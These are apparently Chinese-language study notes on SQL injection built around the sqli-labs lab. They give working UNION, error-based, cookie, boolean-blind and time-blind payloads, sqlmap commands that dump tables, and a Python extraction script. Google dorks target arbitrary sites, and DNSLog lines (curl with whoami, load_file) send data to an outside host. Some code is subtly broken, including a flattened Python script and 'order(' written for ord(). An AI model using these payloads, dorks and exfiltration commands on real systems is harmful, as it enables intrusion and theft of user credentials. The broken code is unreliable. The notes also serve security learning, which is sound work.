SQL注入漏洞原理与利用笔记

测试环境搭建

第一步:下载docker:
https://store.docker.com/editions/community/docker-ce-desktop-mac
安装后运行docker。

第二步:获取sqli-labs

# 查找sqli-labs镜像
docker search sqli-labs
# 抓取镜像
docker pull acgpiano/sqli-labs
# 显示当前已经安装的镜像
docker images
# 运行镜像
docker run -dt --name sqli -p 8080:80 --rm acgpiano/sqli-labs
# -dt指在后台运行,--name是给它一个名称
# -p前面的端口是本地端口 后面的是docker端口
# --rm指当docker环境停止时删除相关镜像
# 查看当前运行容器
docker ps -a
# 根据容器ID号xxx进入终端
# -i:进入终端 -t:获得一个交互式连接,通过获取container的输入
# /bin/bash:在container中启动一个bash shell
docker exec -it xxx /bin/bash
# 根据容器ID号xxx关闭
docker stop xxx

Less1

payload:
http://127.0.0.1:8080/Less-1/?id=-1%27%20union%20select%201,version(),2%20%23

说明:

  1. 首先让前一条语句出错,才会运行union后的这条语句,所以使用id=-1。
  2. 通过查看源码和数据库得知,users表有三列,故需要使用占位符select 1,version(),2。
  3. %23表示#,用于注释掉sql查询语句后面的内容。

MySql注入常用函数

函数名 函数功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() / @@version 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量 select count(*) from users
concat() 没有分隔符地连接字符串 select concat(username, password) from users
concat_ws() 含有分隔符地连接字符串 select concat_ws(‘:’, username, password) from users
group_concat() 连接一个组所有的字符串,并以逗号分隔每条数据 select group_concat(username) from users
load_file() 读取本地文件 select load_file(‘tmp/mysql’)
into outfile 写文件 select ‘mysql’ into outfile ‘/tmp/mysql’
ascii() 字符串的ASCII代码值
ord() 返回字符串第一个字符的ASCII值
mid() 返回一个字符串的一部分 mid(‘mysql’,1,2) 从第一个字符开始长度2
substr() 返回一个字符串的一部分
length() 返回字符串的长度
left() 返回字符串最左边的几个字符 select left(‘mysql’, 2)
floor() 返回小于等于x的最大整数
rand() 返回0和1之间的一个随机数
extractvalue() 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string(Xpath格式的字符串);作用:从目标XML中返回包含所查询值得字符串
updatexml() 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string(Xpath格式的字符串);第三个参数:new_value,String格式,替换查找到的符合条件的数据;作用:改变文档中符合条件的节点的值
sleep() 让此语句运行N秒钟
if() select if(1>2,2,3)
char() 返回整数ASCII代码字符组成的字符串
strcmp() 比较字符串内容
ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
exp() 返回e的x次方

寻找SQL注入点

目标搜索

无特定目标 inurl:.php?id=
有特定目标 inurl:.php?id= site:target.com
工具爬取 spider,对搜索引擎和目标网站的链接进行爬取

注入识别

简单手工识别:

'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2

工具识别:

sqlmap -m filename(filename中保存检测目标)
sqlmap –crawl(sqlmap对目标网站进行爬取,然后依次进行测试)

MySQL注入实例

手工注入

<?php
include("sql-connections/sql-connect.php");
error_reporting(0);
$id = isset($_GET['id']) ? $_GET['id']:'1';
$sql="SELECT * FROM news WHERE id='$id'";
//用户输入完全未过滤,直接带入SQL语句,导致SQL注入
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo "<table class='table table-striped'>";
echo '<tr><td>'. $row['title'].'</td></tr> ';
echo '<tr><td>' .$row['content'].'</td></tr>';
echo "</table>";
} else {
echo "<br>";
echo '<font color= "red">';
print_r(mysql_error());
echo "</font>";
}
?>

这段代码中没有对\$id进行处理,造成sql注入漏洞存在。

验证漏洞步骤:

  1. 输入单引号闭合内容,再后面添加判断语句?id=1' and 1=1 --+或者?id=1' and 1=1 %23'(%23即#)。由于查询结果恒为真,查询结果正常显示。
  2. 注入代码?id=1' and 1=2 --+,由于1=2恒为假,所以没有返回信息,确认注入漏洞存在。
  3. 验证漏洞存在后,开始对查询语句进行构造,首先使用order by判断列长度,注入代码为?id=1' order by N --+,N递增测试,直到报错可以确定列长度为N-1。
  4. 注入代码?id=1' and 1=2 union select 1,2,3 --+(第三步判断出长度为3),确定回显位置。
  5. 注入代码?id=1' and 1=2 union select 1,user(),database() --+爆出服务端当前MySQL用户名,当前数据库名。
  6. 默认MySQL information_schema数据库中保存了所有数据库表和列的信息,因此利用此特性去查询表和列名。首先查询表名,注入代码?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  7. 第六步查询到有一张表users,进一步获取表users的列名,注入代码?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
  8. 第七步查询到表users有name和pass列,通过group_concat获取所有用户数据,最终实现脱裤,注入代码?id=1 and 1=2 union select 1,group_concat(name),group_concat(pass) from users --+

sqlmap注入

python sqlmap.py -u "xxx"
# -u表示测试网址
python sqlmap.py -u "xxx" --dbs
# --dbs 所有数据库名
python sqlmap.py -u "xxx" --current-db
# --current-db 当前数据库名,如为sqlinject
python sqlmap.py -u "xxx" -D sqlinject --tables
# -D dbname 指定数据库名称 --tables 列出某数据库上的所有表,如为admin
python sqlmap.py -u "xxx" -D sqlinject -T admin --columns
# -T tablename 指定数据表名称 --columns 列出指定表上的所有列
# 如有id,username,password三列
python sqlmap.py -u "xxx" -D sqlinject -T admin -C id,username,password --dump
# -C columnname 指定列名 --dump 导出列里面的字段
python sqlmap.py -u "xxx" --sql-quary=QUERY
# 执行sql语句
python sqlmap.py -u "xxx" --sql-shell
# 进入交互式sql命令行
python sqlmap.py -u "xxx" --sql-file=SQLFILE
# 执行文件中的sql语句

SQL注入语法类型

Union介绍

union操作符用于合并两个或多个select语句的结果集。union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条select语句中的列顺序必须相同。默认情况,union操作符选取不同的值。如果允许重复的值,需使用union all。

select column_name(s) from table_name1
union
select column_name(s) from table_name2
select column_name(s) from table_name1
union all
select column_name(s) from table_name2

union注入应用场景

  1. 只有最后一个select子句允许有order by
  2. 只有最后一个select子句允许有limit
  3. 只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
  4. 注入点页面有回显

报错注入

构造payload让信息通过错误提示回显出来。

应用场景包括:

  1. 查询不回显内容,会打印错误信息
  2. update、insert等语句,会打印错误信息

报错注入的方法

-- floor(): group by对rand()函数进行操作时产生错误
select count(*) from information_schema.tables
group by concat((select version()),floor(rand(0)*2));
-- extractvalue(): XPATH语法错误产生报错
extractvalue(1,concat(0x7e,select()),0x7e));
-- updatexml(): XPATH语法错误产生报错
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

cookie注入

php中使用\$_REQUEST全局变量接收参数时,由于php不知道是以get还是post方式接收参数,会一个个取试。具体是先取get中的数据,没有再取post中的数据,还会取cookies中的数据。程序员写waf时可能对get和post数据有检测,但没有对cookie验证,此时既可以通过cookie注入绕过waf。

第一次访问时,由于没有提交参数,页面会报错。在浏览器地址栏输入框再输入以下JavaScript代码:

javascript:alert(document.cookie="id="+escape("1"));

会显示弹框,id=1。然后再刷新页面,则可以正常显示。提示该页面是通过request(“id”)这样的格式收集数据,这种格式就可以试试cookie注入。

使用sqlmap进行cookie注入

sqlmap默认情况下支持get/post参数的注入测试,当使用--level参数,且>=2时也会检查cookie时页面的参数,当>=3的时候检查User-agent和referer。

python sqlmap.py -u "url" --cookie "id=1" --level 2

布尓盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回“right”与“wrong”。这里我们可以通过构造语句来判断数据库信息的正确性。再通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尓盲注。

布尔盲注方法

方法 说明
left() left(database(),1)>’s’
database()显示数据库名称,left(a,b)从左侧截取a的前b位
regexp select user() regexp ‘^r’
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
like select user() like ‘ro%’
与regexp类似,使用like进行匹配
substr()函数/ascii()函数 ascii(substr((select database()),1,1))=98
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
此方法可以避免对于单引号的处理
ord()函数/mid()函数 order(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

时间盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,也不提示真假,不能通过布尓盲注。此时可以通过构造语句后,页面的响应时长来判断信息。

时间盲注方法

通过构造条件语句进行判断,如果真立即执行,如果假则延时执行。

# 核心语法
if(left(user(),1)='a',0,sleep(3));
# 真实场景
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

使用python脚本处理(以Less 10为例)

import requests
import time
url = 'http://127.0.0.1:8080/Less-10/?id=1'
database = 'select schema_name from information_schema.schemata'
column = 'select column_name from information_schema.columns where table_name="table_name"'
table = 'select table_name from information_schema.tables where table_schema=database()'
result = ''
for i in range(1,30):
for j in range(48,122):
payload = '" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break

DnsLog盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息。我们通过布尔或时间盲注可以获得到内容,但是整个过程效率低,需要发送很多请求进行判断,很可能会触发安全设备的防护。所以需要一种减少请求,直接回显数据的方式,就可以通过DnsLog实现注入。

DnsLog平台:http://ceye.io

DNS在解析时会留下日志,通过读取多级域名的解析日志,获取请求信息。

curl `whoami`.5atfgb.ceye.io

在mysql中使用LOAD_FILE函数:

select load_file(concat('\\\\',(select database()),'.mysql.5atfgb.ceye.io\\abc'));

通过sql语句查询内容,作为请求的一部分,发送至DnsLog。只要对这部分语句进行构造,就能实现有回显的sql注入。值得注意的是,这些数据格式和内容都有限制,需要进行一些处理。

LOAD_FILE()函数请求只能目标服务器是Windows环境下使用,并且数据中不能包含:~@等特殊字符。